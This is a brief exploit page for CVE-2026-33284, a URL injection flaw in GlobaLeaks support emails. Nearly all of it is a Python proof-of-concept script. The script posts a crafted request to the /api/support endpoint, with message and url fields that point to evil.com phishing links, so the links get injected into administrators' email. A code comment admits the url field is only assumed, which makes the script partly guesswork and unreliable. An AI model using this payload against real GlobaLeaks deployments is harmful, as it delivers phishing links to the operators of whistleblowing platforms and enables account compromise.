CVE-2026-33284 GlobaLeaks邮件URL注入漏洞

import requests def check_vulnerability(target_url): """ PoC for CVE-2026-33284: Arbitrary URL injection in support emails. """ endpoint = f"{target_url}/api/support" # Malicious payload containing an arbitrary URL payload = { "name": "Test User", "email": "[email protected]", "message": "Check this link: http://evil.com", # Assuming the API might take a url field or inject it via text "url": "http://evil.com/phishing" } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Request sent successfully. Check administrator's email for injected URL.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": target = "http://127.0.0.1:8080" # Replace with actual target check_vulnerability(target)